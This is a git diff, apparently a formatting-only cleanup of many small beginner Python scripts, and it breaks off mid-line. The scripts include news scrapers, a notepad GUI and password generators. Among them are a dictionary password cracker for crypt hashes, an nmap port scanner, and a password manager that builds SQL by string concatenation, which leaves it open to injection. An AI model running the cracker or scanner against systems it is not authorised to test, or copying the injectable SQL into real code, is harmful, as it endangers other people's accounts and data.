a/new.py b/new.py index 94d678874ae..9df00e5faaa 100644 --- a/new.py +++ b/new.py @@ -14,123 +14,124 @@ def Times_of_India(userInput, ua): - bold_start = "\033[1m" - bold_end = "\033[0m" + bold_start = "\033[1m" + bold_end = "\033[0m" - url = "https://timesofindia.indiatimes.com/india/" - url += userInput + url = "https://timesofindia.indiatimes.com/india/" + url += userInput - res = requests.post(url, headers=ua) - soup = BeautifulSoup(res.content, "html.parser") - data = soup.find_all(class_="w_tle") + res = requests.post(url, headers=ua) + soup = BeautifulSoup(res.content, "html.parser") + data = soup.find_all(class_="w_tle") - if len(data) > 0: - print("News available :", "\N{slightly smiling face}") - if len(data) == 0: - return 0 + if len(data) > 0: + print("News available :", "\N{slightly smiling face}") + if len(data) == 0: + return 0 - for item in range(len(data)): - print(bold_start, "\033[1;32;40m \nNEWS : ", item + 1, bold_end, end=" ") - data1 = data[item].find("a") - print(bold_start, data1.get_text(), bold_end) + for item in range(len(data)): + print(bold_start, "\033[1;32;40m \nNEWS : ", item + 1, bold_end, end=" ") + data1 = data[item].find("a") + print(bold_start, data1.get_text(), bold_end) - bol = input("For more details ->(y) (y/n) :: ") - if bol == "y": - url += data1.get("href") - print("%s" % url) - - webbrowser.open(url) + bol = input("For more details ->(y) (y/n) :: ") + if bol == "y": + url += data1.get("href") + print("%s" % url) - return len(data) + webbrowser.open(url) + return len(data) -def india_today(userInput, ua): - bold_start = "\033[1m" - bold_end = "\033[0m" - - url = "https://www.indiatoday.in/topic/" - url += userInput - - res = requests.get(url, headers=ua) - soup = BeautifulSoup(res.content, "html.parser") - data = soup.find_all(class_="field-content") - - if len(data) > 0: - print("\nNews available : ", "\N{slightly smiling face}") - k = 0 - for i in range(len(data)): - data1 = data[i].find_all("a") - for j in range(len(data1)): - print(bold_start, "\033[1;32;40m\nNEWS ", k + 1, bold_end, end=" : ") - k += 1 - print(bold_start, data1[j].get_text(), bold_end) - bol = input("\nFor more details ->(y) (y/n) :: ") - if bol == "y" or bol == "Y": - data2 = data[i].find("a") - url = data2.get("href") - webbrowser.open(url) - return len(data) +def india_today(userInput, ua): + bold_start = "\033[1m" + bold_end = "\033[0m" + + url = "https://www.indiatoday.in/topic/" + url += userInput + + res = requests.get(url, headers=ua) + soup = BeautifulSoup(res.content, "html.parser") + data = soup.find_all(class_="field-content") + + if len(data) > 0: + print("\nNews available : ", "\N{slightly smiling face}") + k = 0 + for i in range(len(data)): + data1 = data[i].find_all("a") + for j in range(len(data1)): + print(bold_start, "\033[1;32;40m\nNEWS ", k + 1, bold_end, end=" : ") + k += 1 + print(bold_start, data1[j].get_text(), bold_end) + bol = input("\nFor more details ->(y) (y/n) :: ") + if bol == "y" or bol == "Y": + data2 = data[i].find("a") + url = data2.get("href") + webbrowser.open(url) + + return len(data) if __name__ == "__main__": - import doctest - doctest.testmod() - bold_start = "\033[1m" - bold_end = "\033[0m" - print("\033[5;31;40m") - print( - bold_start, - " HERE YOU WILL GET ALL THE NEWS JUST IN ONE SEARCH ", - bold_end, - ) - print("\n") - localtime = time.asctime(time.localtime(time.time())) - print(bold_start, localtime, bold_end) - - ua = { - "UserAgent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" - } - print( - bold_start, - "\n\033[1;35;40m Search any news (state , city ,Country , AnyThings etc) : ", - bold_end, - end=" ", - ) - - userInput = input() - - print(bold_start, "\033[1;33;40m \n") - print("Which news channel data would you prefer") - print("1. Times of india") - print("2. India's Today", bold_end) - - say = int(input()) - - if say == 1: - length = Times_of_India(userInput, ua) - if length == 0: - print("Sorry Here No News Available", "\N{expressionless face}") - print("\n") - print( - "Would you like to go for India's Today (y/n):: ", - "\N{thinking face}", - end=" ", - ) - speak = input() - if speak == "y": + import doctest + + doctest.testmod() + bold_start = "\033[1m" + bold_end = "\033[0m" + print("\033[5;31;40m") + print( + bold_start, + " HERE YOU WILL GET ALL THE NEWS JUST IN ONE SEARCH ", + bold_end, + ) + print("\n") + localtime = time.asctime(time.localtime(time.time())) + print(bold_start, localtime, bold_end) + + ua = { + "UserAgent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:69.0) Gecko/20100101 Firefox/69.0" + } + print( + bold_start, + "\n\033[1;35;40m Search any news (state , city ,Country , AnyThings etc) : ", + bold_end, + end=" ", + ) + + userInput = input() + + print(bold_start, "\033[1;33;40m \n") + print("Which news channel data would you prefer") + print("1. Times of india") + print("2. India's Today", bold_end) + + say = int(input()) + + if say == 1: + length = Times_of_India(userInput, ua) + if length == 0: + print("Sorry Here No News Available", "\N{expressionless face}") + print("\n") + print( + "Would you like to go for India's Today (y/n):: ", + "\N{thinking face}", + end=" ", + ) + speak = input() + if speak == "y": + length = india_today(userInput, ua) + if length == 0: + print("Sorry No news", "\N{expressionless face}") + else: + print("\nThank you", "\U0001f600") + + elif say == 2: length = india_today(userInput, ua) + if length == 0: - print("Sorry No news", "\N{expressionless face}") + print("Sorry No news") else: - print("\nThank you", "\U0001f600") - - elif say == 2: - length = india_today(userInput, ua) - - if length == 0: - print("Sorry No news") - else: - print("\nThank you", "\U0001f600") - else: - print("Sorry", "\N{expressionless face}") + print("\nThank you", "\U0001f600") + else: + print("Sorry", "\N{expressionless face}") diff --git a/new_script.py b/new_script.py index 3541a8cea97..7326bed8c4e 100644 --- a/new_script.py +++ b/new_script.py @@ -12,53 +12,53 @@ # Modifications : # Description : This will create a new basic template for a new script -text = '''You need to pass an argument for the new script you want to create, followed by the script name. You can use +text = """You need to pass an argument for the new script you want to create, followed by the script name. You can use -python : Python Script -bash : Bash Script -ksh : Korn Shell Script - -sql : SQL Script''' + -sql : SQL Script""" if len(sys.argv) < 3: print(text) sys.exit() -if '-h' in sys.argv or '--h' in sys.argv or '-help' in sys.argv or '--help' in sys.argv: +if "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv: print(text) sys.exit() else: - if '-python' in sys.argv[1]: + if "-python" in sys.argv[1]: config_file = "python.cfg" extension = ".py" - elif '-bash' in sys.argv[1]: + elif "-bash" in sys.argv[1]: config_file = "bash.cfg" extension = ".bash" - elif '-ksh' in sys.argv[1]: + elif "-ksh" in sys.argv[1]: config_file = "ksh.cfg" extension = ".ksh" - elif '-sql' in sys.argv[1]: + elif "-sql" in sys.argv[1]: config_file = "sql.cfg" extension = ".sql" else: - print('Unknown option - ' + text) + print("Unknown option - " + text) sys.exit() confdir = os.getenv("my_config") scripts = os.getenv("scripts") dev_dir = "Development" newfile = sys.argv[2] -output_file = (newfile + extension) +output_file = newfile + extension outputdir = os.path.join(scripts, dev_dir) script = os.path.join(outputdir, output_file) input_file = os.path.join(confdir, config_file) old_text = " Script Name : " -new_text = (" Script Name : " + output_file) +new_text = " Script Name : " + output_file if not (os.path.exists(outputdir)): os.mkdir(outputdir) -newscript = open(script, 'w') -input = open(input_file, 'r') +newscript = open(script, "w") +input = open(input_file, "r") today = datetime.date.today() old_date = " Created :" -new_date = (" Created : " + today.strftime("%d %B %Y")) +new_date = " Created : " + today.strftime("%d %B %Y") for line in input: line = line.replace(old_text, new_text) diff --git a/next_number.py b/next_number.py index f4271fe6074..30a935742b3 100644 --- a/next_number.py +++ b/next_number.py @@ -1,20 +1,20 @@ -x,li,small,maxx,c = input(),list(),0,0,1 +x, li, small, maxx, c = input(), list(), 0, 0, 1 for i in range(len(x)): - li.append(int(x[i])) -for i in range(len(li)-1,-1,-1): - if(i==0): + li.append(int(x[i])) +for i in range(len(li) - 1, -1, -1): + if i == 0: print("No Number Possible") - c=0 + c = 0 break - if(li[i]>li[i-1]): - small = i-1 + if li[i] > li[i - 1]: + small = i - 1 maxx = i break -for i in range(small+1,len(li)): - if(li[i]>li[small] and li[i] li[small] and li[i] < li[maxx]: maxx = i -li[small],li[maxx]=li[maxx],li[small] -li = li[:small+1] + sorted(li[small+1:]) -if(c): +li[small], li[maxx] = li[maxx], li[small] +li = li[: small + 1] + sorted(li[small + 1 :]) +if c: for i in range(len(li)): - print(li[i],end = '' ) + print(li[i], end="") diff --git a/nmap_scan.py b/nmap_scan.py index d7f6214d8f9..72f4b078e96 100644 --- a/nmap_scan.py +++ b/nmap_scan.py @@ -17,17 +17,19 @@ def nmapScan(tgtHost, tgtPort): # Create the function, this fucntion does the scanning nmScan = nmap.PortScanner() nmScan.scan(tgtHost, tgtPort) - state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] + state = nmScan[tgtHost]["tcp"][int(tgtPort)]["state"] print("[*] " + tgtHost + " tcp/" + tgtPort + " " + state) def main(): # Main Program - parser = optparse.OptionParser('usage%prog ' + '-H -p ') # Display options/help if required - parser.add_option('-H', dest='tgtHost', type='string', help='specify host') - parser.add_option('-p', dest='tgtPort', type='string', help='port') + parser = optparse.OptionParser( + "usage%prog " + "-H -p " + ) # Display options/help if required + parser.add_option("-H", dest="tgtHost", type="string", help="specify host") + parser.add_option("-p", dest="tgtPort", type="string", help="port") (options, args) = parser.parse_args() tgtHost = options.tgtHost - tgtPorts = str(options.tgtPort).split(',') + tgtPorts = str(options.tgtPort).split(",") if (tgtHost == None) | (tgtPorts[0] == None): print(parser.usage) @@ -37,5 +39,5 @@ def main(): # Main Program nmapScan(tgtHost, tgtPort) -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/nodepad/notepad.py b/nodepad/notepad.py index a7e410dd79c..356316e3d9e 100644 --- a/nodepad/notepad.py +++ b/nodepad/notepad.py @@ -22,7 +22,7 @@ def vp_start_gui(): - '''Starting point when module is the main routine.''' + """Starting point when module is the main routine.""" global val, w, root root = Tk() root.resizable(False, False) @@ -35,7 +35,7 @@ def vp_start_gui(): def create_Notepads_managment(root, *args, **kwargs): - '''Starting point when module is imported by another program.''' + """Starting point when module is imported by another program.""" global w, w_win, rt rt = root w = Toplevel(root) @@ -52,48 +52,64 @@ def destroy_Notepads_managment(): class Notepads_managment: def __init__(self, top=None): - '''This class configures and populates the toplevel window. - top is the toplevel containing window.''' - _bgcolor = '#d9d9d9' # X11 color: 'gray85' - _fgcolor = '#000000' # X11 color: 'black' - _compcolor = '#d9d9d9' # X11 color: 'gray85' - _ana1color = '#d9d9d9' # X11 color: 'gray85' - _ana2color = '#d9d9d9' # X11 color: 'gray85' + """This class configures and populates the toplevel window. + top is the toplevel containing window.""" + _bgcolor = "#d9d9d9" # X11 color: 'gray85' + _fgcolor = "#000000" # X11 color: 'black' + _compcolor = "#d9d9d9" # X11 color: 'gray85' + _ana1color = "#d9d9d9" # X11 color: 'gray85' + _ana2color = "#d9d9d9" # X11 color: 'gray85' self.style = ttk.Style() if sys.platform == "win32": - self.style.theme_use('winnative') - self.style.configure('.', background=_bgcolor) - self.style.configure('.', foreground=_fgcolor) - self.style.configure('.', font="TkDefaultFont") - self.style.map('.', background= - [('selected', _compcolor), ('active', _ana2color)]) + self.style.theme_use("winnative") + self.style.configure(".", background=_bgcolor) + self.style.configure(".", foreground=_fgcolor) + self.style.configure(".", font="TkDefaultFont") + self.style.map( + ".", background=[("selected", _compcolor), ("active", _ana2color)] + ) top.geometry("600x450") top.title("Notepads managment") top.configure(highlightcolor="black") - self.style.configure('TNotebook.Tab', background=_bgcolor) - self.style.configure('TNotebook.Tab', foreground=_fgcolor) - self.style.map('TNotebook.Tab', background= - [('selected', _compcolor), ('active', _ana2color)]) + self.style.configure("TNotebook.Tab", background=_bgcolor) + self.style.configure("TNotebook.Tab", foreground=_fgcolor) + self.style.map( + "TNotebook.Tab", + background=[("selected", _compcolor), ("active", _ana2color)], + ) self.TNotebook1 = ttk.Notebook(top) - self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85 - , relwidth=0.97) + self.TNotebook1.place(relx=0.02, rely=0.02, relheight=0.85, relwidth=0.97) self.TNotebook1.configure(width=582) self.TNotebook1.configure(takefocus="") self.TNotebook1_t0 = Frame(self.TNotebook1) self.TNotebook1.add(self.TNotebook1_t0, padding=3) - self.TNotebook1.tab(0, text="Add", compound="none", underline="-1", ) + self.TNotebook1.tab( + 0, + text="Add", + compound="none", + underline="-1", + ) self.TNotebook1_t1 = Frame(self.TNotebook1) self.TNotebook1.add(self.TNotebook1_t1, padding=3) - self.TNotebook1.tab(1, text="Display", compound="none", underline="-1", ) + self.TNotebook1.tab( + 1, + text="Display", + compound="none", + underline="-1", + ) self.TNotebook1_t2 = Frame(self.TNotebook1) self.TNotebook1.add(self.TNotebook1_t2, padding=3) - self.TNotebook1.tab(2, text="Create", compound="none", underline="-1", ) + self.TNotebook1.tab( + 2, + text="Create", + compound="none", + underline="-1", + ) self.inputNotice = Text(self.TNotebook1_t0) - self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64 - , relwidth=0.68) + self.inputNotice.place(relx=0.02, rely=0.28, relheight=0.64, relwidth=0.68) self.inputNotice.configure(background="white") self.inputNotice.configure(font="TkTextFont") self.inputNotice.configure(selectbackground="#c4c4c4") @@ -109,28 +125,27 @@ def __init__(self, top=None): self.Label1 = Label(self.TNotebook1_t0) self.Label1.place(relx=0.02, rely=0.08, height=18, width=29) self.Label1.configure(activebackground="#f9f9f9") - self.Label1.configure(text='''Title''') + self.Label1.configure(text="""Title""") self.Label2 = Label(self.TNotebook1_t0) self.Label2.place(relx=0.02, rely=0.22, height=18, width=46) self.Label2.configure(activebackground="#f9f9f9") - self.Label2.configure(text='''Notice:''') + self.Label2.configure(text="""Notice:""") self.Button2 = Button(self.TNotebook1_t0) self.Button2.place(relx=0.74, rely=0.28, height=26, width=50) self.Button2.configure(activebackground="#d9d9d9") - self.Button2.configure(text='''Add''') - self.Button2.bind('', lambda e: notepad_support.add_button(e)) + self.Button2.configure(text="""Add""") + self.Button2.bind("", lambda e: notepad_support.add_button(e)) self.Button3 = Button(self.TNotebook1_t0) self.Button3.place(relx=0.74, rely=0.39, height=26, width=56) self.Button3.configure(activebackground="#d9d9d9") - self.Button3.configure(text='''Clear''') - self.Button3.bind('', lambda e: notepad_support.clear_button(e)) + self.Button3.configure(text="""Clear""") + self.Button3.bind("", lambda e: notepad_support.clear_button(e)) self.outputNotice = Text(self.TNotebook1_t1) - self.outputNotice.place(relx=0.02, rely=0.19, relheight=0.76 - , relwidth=0.6) + self.outputNotice.place(relx=0.02, rely=0.19, relheight=0.76, relwidth=0.6) self.outputNotice.configure(background="white") self.outputNotice.configure(font="TkTextFont") self.outputNotice.configure(selectbackground="#c4c4c4") @@ -138,8 +153,7 @@ def __init__(self, top=None): self.outputNotice.configure(wrap=WORD) self.inputSearchTitle = Entry(self.TNotebook1_t1) - self.inputSearchTitle.place(relx=0.09, rely=0.08, height=20 - , relwidth=0.51) + self.inputSearchTitle.place(relx=0.09, rely=0.08, height=20, relwidth=0.51) self.inputSearchTitle.configure(background="white") self.inputSearchTitle.configure(font="TkFixedFont") self.inputSearchTitle.configure(selectbackground="#c4c4c4") @@ -147,53 +161,53 @@ def __init__(self, top=None): self.Label3 = Label(self.TNotebook1_t1) self.Label3.place(relx=0.02, rely=0.08, height=18, width=29) self.Label3.configure(activebackground="#f9f9f9") - self.Label3.configure(text='''Title''') + self.Label3.configure(text="""Title""") self.Button4 = Button(self.TNotebook1_t1) self.Button4.place(relx=0.69, rely=0.33, height=26, width=54) self.Button4.configure(activebackground="#d9d9d9") - self.Button4.configure(text='''Next''') - self.Button4.bind('', lambda e: notepad_support.next_button(e)) + self.Button4.configure(text="""Next""") + self.Button4.bind("", lambda e: notepad_support.next_button(e)) self.Button5 = Button(self.TNotebook1_t1) self.Button5.place(relx=0.69, rely=0.44, height=26, width=55) self.Button5.configure(activebackground="#d9d9d9") - self.Button5.configure(text='''Back''') - self.Button5.bind('', lambda e: notepad_support.back_button(e)) + self.Button5.configure(text="""Back""") + self.Button5.bind("", lambda e: notepad_support.back_button(e)) self.Button7 = Button(self.TNotebook1_t1) self.Button7.place(relx=0.69, rely=0.22, height=26, width=68) self.Button7.configure(activebackground="#d9d9d9") - self.Button7.configure(text='''Search''') - self.Button7.bind('', lambda e: notepad_support.search_button(e)) + self.Button7.configure(text="""Search""") + self.Button7.bind("", lambda e: notepad_support.search_button(e)) self.Button8 = Button(self.TNotebook1_t1) self.Button8.place(relx=0.69, rely=0.56, height=26, width=64) self.Button8.configure(activebackground="#d9d9d9") - self.Button8.configure(text='''Delete''') - self.Button8.bind('', lambda e: notepad_support.delete_button(e)) + self.Button8.configure(text="""Delete""") + self.Button8.bind("", lambda e: notepad_support.delete_button(e)) self.Label4 = Label(self.TNotebook1_t2) self.Label4.place(relx=0.09, rely=0.14, height=18, width=259) self.Label4.configure(activebackground="#f9f9f9") - self.Label4.configure(text='''For creating a new notepads managment.''') + self.Label4.configure(text="""For creating a new notepads managment.""") self.Button6 = Button(self.TNotebook1_t2) self.Button6.place(relx=0.22, rely=0.25, height=26, width=69) self.Button6.configure(activebackground="#d9d9d9") - self.Button6.configure(text='''Create''') - self.Button6.bind('', lambda e: notepad_support.create_button(e)) + self.Button6.configure(text="""Create""") + self.Button6.bind("", lambda e: notepad_support.create_button(e)) self.Button1 = Button(top) self.Button1.place(relx=0.4, rely=0.91, height=26, width=117) self.Button1.configure(activebackground="#d9d9d9") - self.Button1.configure(text='''Exit''') - self.Button1.bind('', lambda e: notepad_support.exit_button(e)) + self.Button1.configure(text="""Exit""") + self.Button1.bind("", lambda e: notepad_support.exit_button(e)) self.errorOutput = Label(top) self.errorOutput.place(relx=0.03, rely=0.91, height=18, width=206) self.errorOutput.configure(activebackground="#f9f9f9") -if __name__ == '__main__': +if __name__ == "__main__": vp_start_gui() diff --git a/notepad/notepad_support.py b/notepad/notepad_support.py index 93f48a43568..7851ca9991a 100644 --- a/notepad/notepad_support.py +++ b/notepad/notepad_support.py @@ -52,7 +52,7 @@ def delete_button(p1): def create_button(p1): """ - for creating a new database + for creating a new database """ global cursor @@ -73,7 +73,7 @@ def add_button(p1): # for manipulating the data base global cursor global connection - if (len(w.inputTitle.get()) > 0 and len(w.inputNotice.get(1.0, END)) > 0): + if len(w.inputTitle.get()) > 0 and len(w.inputNotice.get(1.0, END)) > 0: w.errorOutput.configure(text="") title = w.inputTitle.get() note = w.inputNotice.get(1.0, END) @@ -92,23 +92,23 @@ def back_button(p1): w.errorOutput.configure(text="") index -= 1 - if (index >= 0 and index < len(results)): + if index >= 0 and index < len(results): w.outputNotice.delete(1.0, END) w.outputNotice.insert(1.0, results[index][2]) def clear_button(p1): """ - This function is for the clear button. - This will clear the notice-input field + This function is for the clear button. + This will clear the notice-input field """ w.inputNotice.delete(1.0, END) def exit_button(p1): """ - function for the exit button. - this will exit the application. + function for the exit button. + this will exit the application. """ sys.exit(0) @@ -125,7 +125,7 @@ def search_button(p1): results = cursor.fetchall() w.errorOutput.configure(text=str(len(results)) + " results") index = 0 - if (index >= 0 and index < len(results)): + if index >= 0 and index < len(results): w.outputNotice.delete(1.0, END) w.outputNotice.insert(1.0, results[index][2]) except: @@ -136,8 +136,8 @@ def next_button(p1): global results global index index += 1 - if (len(w.inputSearchTitle.get()) > 0): - if (index >= 0 and index < len(results)): + if len(w.inputSearchTitle.get()) > 0: + if index >= 0 and index < len(results): w.outputNotice.delete(1.0, END) w.outputNotice.insert(1.0, results[index][2]) @@ -159,7 +159,7 @@ def destroy_window(): top_level = None -if __name__ == '__main__': +if __name__ == "__main__": import notepad notepad.vp_start_gui() diff --git a/nslookup_check.py b/nslookup_check.py index a629c7d9ce4..4ae57f84cfc 100644 --- a/nslookup_check.py +++ b/nslookup_check.py @@ -10,5 +10,7 @@ import subprocess # Import the subprocess module -for server in open('server_list.txt'): # Open the file and read each line - subprocess.Popen(('nslookup ' + server)) # Run the nslookup command for each server in the list +for server in open("server_list.txt"): # Open the file and read each line + subprocess.Popen( + ("nslookup " + server) + ) # Run the nslookup command for each server in the list diff --git a/oneeven.py b/oneeven.py index 78e7fb8c110..0c0a8c52530 100644 --- a/oneeven.py +++ b/oneeven.py @@ -5,6 +5,6 @@ number = 1 while number <= maximum: - if(number % 2 == 0): + if number % 2 == 0: print("{0}".format(number)) number = number + 1 diff --git a/osinfo.py b/osinfo.py index 06af8a049c1..1e8a8d4ef01 100644 --- a/osinfo.py +++ b/osinfo.py @@ -14,32 +14,32 @@ import platform as pl profile = [ - 'architecture', - 'linux_distribution', - 'mac_ver', - 'machine', - 'node', - 'platform', - 'processor', - 'python_build', - 'python_compiler', - 'python_version', - 'release', - 'system', - 'uname', - 'version', + "architecture", + "linux_distribution", + "mac_ver", + "machine", + "node", + "platform", + "processor", + "python_build", + "python_compiler", + "python_version", + "release", + "system", + "uname", + "version", ] class bcolors: - HEADER = '\033[95m' - OKBLUE = '\033[94m' - OKGREEN = '\033[92m' - WARNING = '\033[93m' - FAIL = '\033[91m' - ENDC = '\033[0m' - BOLD = '\033[1m' - UNDERLINE = '\033[4m' + HEADER = "\033[95m" + OKBLUE = "\033[94m" + OKGREEN = "\033[92m" + WARNING = "\033[93m" + FAIL = "\033[91m" + ENDC = "\033[0m" + BOLD = "\033[1m" + UNDERLINE = "\033[4m" for key in profile: diff --git a/passwordGen.py b/passwordGen.py index 1c744185614..357c14619fc 100644 --- a/passwordGen.py +++ b/passwordGen.py @@ -1,12 +1,12 @@ import random -lChars = 'abcdefghijklmnopqrstuvwxyz' -uChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' -digits = '1234567890' -specialChars = '!@#$%^&*-_+=' +lChars = "abcdefghijklmnopqrstuvwxyz" +uChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +digits = "1234567890" +specialChars = "!@#$%^&*-_+=" passLen = 10 # actual generated password length will be this length + 1 -myPass = '' +myPass = "" for i in range(passLen): while (len(myPass)) <= 2: diff --git a/passwordGenerator.py b/passwordGenerator.py index c866ff03967..67502725ccb 100644 --- a/passwordGenerator.py +++ b/passwordGenerator.py @@ -6,25 +6,105 @@ case = randint(1, 2) number = randint(1, 99) -specialCharacters = ( "!", "@", "#", "$", "%", "/", "?", ":" , "<", ">", "|" , "&", "*", "-", "=", "+", "_") +specialCharacters = ( + "!", + "@", + "#", + "$", + "%", + "/", + "?", + ":", + "<", + ">", + "|", + "&", + "*", + "-", + "=", + "+", + "_", +) animals = ( -"ant", "alligator", "baboon", "badger", "barb", "bat", "beagle", "bear", "beaver", "bird", "bison", "bombay", "bongo", -"booby", "butterfly", "bee", "camel", "cat", "caterpillar", "catfish", "cheetah", "chicken", "chipmunk", "cow", "crab", -"deer", "dingo", "dodo", "dog", "dolphin", "donkey", "duck", "eagle", "earwig", "elephant", "emu", "falcon", "ferret", -"fish", "flamingo", "fly", "fox", "frog", "gecko", "gibbon", "giraffe", "goat", "goose", "gorilla") + "ant", + "alligator", + "baboon", + "badger", + "barb", + "bat", + "beagle", + "bear", + "beaver", + "bird", + "bison", + "bombay", + "bongo", + "booby", + "butterfly", + "bee", + "camel", + "cat", + "caterpillar", + "catfish", + "cheetah", + "chicken", + "chipmunk", + "cow", + "crab", + "deer", + "dingo", + "dodo", + "dog", + "dolphin", + "donkey", + "duck", + "eagle", + "earwig", + "elephant", + "emu", + "falcon", + "ferret", + "fish", + "flamingo", + "fly", + "fox", + "frog", + "gecko", + "gibbon", + "giraffe", + "goat", + "goose", + "gorilla", +) colour = ( -"red", "orange", "yellow", "green", "blue", "indigo", "violet", "purple", "magenta", "cyan", "pink", "brown", "white", -"grey", "black") + "red", + "orange", + "yellow", + "green", + "blue", + "indigo", + "violet", + "purple", + "magenta", + "cyan", + "pink", + "brown", + "white", + "grey", + "black", +) -chosenanimal = animals[randint(0, len(animals) - 1)] # randint will return max lenght but , tuple has index from 0 to len-1 +chosenanimal = animals[ + randint(0, len(animals) - 1) +] # randint will return max lenght but , tuple has index from 0 to len-1 chosencolour = colour[randint(0, len(colour) - 1)] -chosenSpecialCharacter = specialCharacters[randint(0, len(specialCharacters) - 1)] +chosenSpecialCharacter = specialCharacters[randint(0, len(specialCharacters) - 1)] if case == 1: chosenanimal = chosenanimal.upper() - print(chosencolour, number , chosenanimal, chosenSpecialCharacter) + print(chosencolour, number, chosenanimal, chosenSpecialCharacter) else: chosencolour = chosencolour.upper() print(chosenanimal, number, chosencolour, chosenSpecialCharacter) diff --git a/password_cracker.py b/password_cracker.py index 0421353aaa9..3581fcc39f0 100644 --- a/password_cracker.py +++ b/password_cracker.py @@ -18,16 +18,16 @@ try: import fcrypt # Try importing the fcrypt module except ImportError: - print('Please install fcrypt if you are on Windows') + print("Please install fcrypt if you are on Windows") def testPass(cryptPass): # Start the function salt = cryptPass[0:2] - dictFile = open('dictionary.txt', 'r') # Open the dictionary file + dictFile = open("dictionary.txt", "r") # Open the dictionary file for word in dictFile.readlines(): # Scan through the file - word = word.strip('\n') + word = word.strip("\n") cryptWord = crypt.crypt(word, salt) # Check for password in the file - if (cryptWord == cryptPass): + if cryptWord == cryptPass: print("[+] Found Password: " + word + "\n") return print("[-] Password Not Found.\n") @@ -35,11 +35,11 @@ def testPass(cryptPass): # Start the function def main(): - passFile = open('passwords.txt') # Open the password file + passFile = open("passwords.txt") # Open the password file for line in passFile.readlines(): # Read through the file if ":" in line: - user = line.split(':')[0] - cryptPass = line.split(':')[1].strip(' ') # Prepare the user name etc + user = line.split(":")[0] + cryptPass = line.split(":")[1].strip(" ") # Prepare the user name etc print("[*] Cracking Password For: " + user) testPass(cryptPass) # Call it to crack the users password diff --git a/password_manager.py b/password_manager.py index f2fb1ffca24..cbbbcf87ef2 100644 --- a/password_manager.py +++ b/password_manager.py @@ -3,7 +3,7 @@ import os # set the environment variable ADMIN_PASS to your desired string, which will be your password. -ADMIN_PASSWORD = os.environ['ADMIN_PASS'] +ADMIN_PASSWORD = os.environ["ADMIN_PASS"] connect = getpass("What is your admin password?\n") while connect != ADMIN_PASSWORD: @@ -11,7 +11,7 @@ if connect == "q": break -conn = sqlite3.connect('password_manager.db') +conn = sqlite3.connect("password_manager.db") cursor_ = conn.cursor() @@ -25,13 +25,27 @@ def get_password(service_): def add_password(service_, username_, password_): - command = 'INSERT INTO STORE (SERVICE,USERNAME,PASSWORD) VALUES("'+service_+'","'+username_+'","'+password_+'");' + command = ( + 'INSERT INTO STORE (SERVICE,USERNAME,PASSWORD) VALUES("' + + service_ + + '","' + + username_ + + '","' + + password_ + + '");' + ) conn.execute(command) conn.commit() def update_password(service_, password_): - command = 'UPDATE STORE set PASSWORD = "' + password_ + '" where SERVICE = "' + service_ + '"' + command = ( + 'UPDATE STORE set PASSWORD = "' + + password_ + + '" where SERVICE = "' + + service_ + + '"' + ) conn.execute(command) conn.commit() print(service_ + " password updated successfully.") @@ -48,7 +62,7 @@ def get_all(): cursor_.execute("SELECT * from STORE") data = cursor_.fetchall() if len(data) == 0: - print('No Data') + print("No Data") else: for row in data: print("service = ", row[0]) @@ -61,7 +75,7 @@ def is_service_present(service_): cursor_.execute("SELECT SERVICE from STORE where SERVICE = ?", (service_,)) data = cursor_.fetchall() if len(data) == 0: - print('There is no service named %s' % service_) + print("There is no service named %s" % service_) return False else: return True @@ -69,11 +83,13 @@ def is_service_present(service_): if connect == ADMIN_PASSWORD: try: - conn.execute('''CREATE TABLE STORE + conn.execute( + """CREATE TABLE STORE (SERVICE TEXT PRIMARY KEY NOT NULL, USERNAME TEXT NOT NULL, PASSWORD TEXT NOT NULL); - ''') + """ + ) print("Your safe has been created!\nWhat would you like to store in it today?") except: print("You have a safe, what would you like to do today?") @@ -102,7 +118,7 @@ def is_service_present(service_): if len(data) == 0: username = input("Enter username : ") password = getpass("Enter password : ") - if username == '' or password == '': + if username == "" or password == "": print("Your username or password is empty.") else: add_password(service, username, password) @@ -121,8 +137,8 @@ def is_service_present(service_): elif input_ == "update": service = input("What is the name of the service?\n") - if service == '': - print('Service is not entered.') + if service == "": + print("Service is not entered.") else: flag = is_service_present(service) if flag: @@ -131,8 +147,8 @@ def is_service_present(service_): elif input_ == "delete": service = input("What is the name of the service?\n") - if service == '': - print('Service is not entered.') + if service == "": + print("Service is not entered.") else: flag = is_service_present(service) if flag: diff --git a/patterns.py b/patterns.py index bd85bea3242..c074987e72f 100644 --- a/patterns.py +++ b/patterns.py @@ -6,12 +6,12 @@ # * * * * # * * * * * -for i in range(1,6): - for j in range(0,i): - print('*',end = " ") +for i in range(1, 6): + for j in range(0, i): + print("*", end=" ") - for j in range(1,(2*(5-i))+1): - print(" ",end = "") + for j in range(1, (2 * (5 - i)) + 1): + print(" ", end="") print("") @@ -25,13 +25,12 @@ print(" ") -for i in range(1,6): +for i in range(1, 6): - for j in range(0,(2*(i-1))+1): + for j in range(0, (2 * (i - 1)) + 1): print(" ", end="") + for j in range(0, 6 - i): + print("*", end=" ") - for j in range(0,6-i): - print('*',end = " ") - - print("") \ No newline at end of file + print("") diff --git a/personal_translator.py b/personal_translator.py index 0e1ff088f0f..6a704d572c2 100644 --- a/personal_translator.py +++ b/personal_translator.py @@ -13,31 +13,38 @@ from googletrans import Translator # make a simple function that will translate any language to english -def text_translator(Text): - translator = Translator() - translated = translator.translate(Text, dest='en') - return translated.text +def text_translator(Text): + translator = Translator() + translated = translator.translate(Text, dest="en") + return translated.text -text_translator('Cidades brasileiras integram programa de preservação de florestas') # portuguese to english -text_translator('Guten Morgen, wie gehts?') # german to english +text_translator( + "Cidades brasileiras integram programa de preservação de florestas" +) # portuguese to english -text_translator('Ami tumake bhalobashi') # bengali to english +text_translator("Guten Morgen, wie gehts?") # german to english -text_translator('ਮੈਨੂੰ ਇੱਕ ਗੱਲ ਦੱਸੋ') # punjabi to english +text_translator("Ami tumake bhalobashi") # bengali to english -text_translator('I am fine') # english text remains constant +text_translator("ਮੈਨੂੰ ਇੱਕ ਗੱਲ ਦੱਸੋ") # punjabi to english -def eng2punj_translator(Text): # english to punjabi translator - translator = 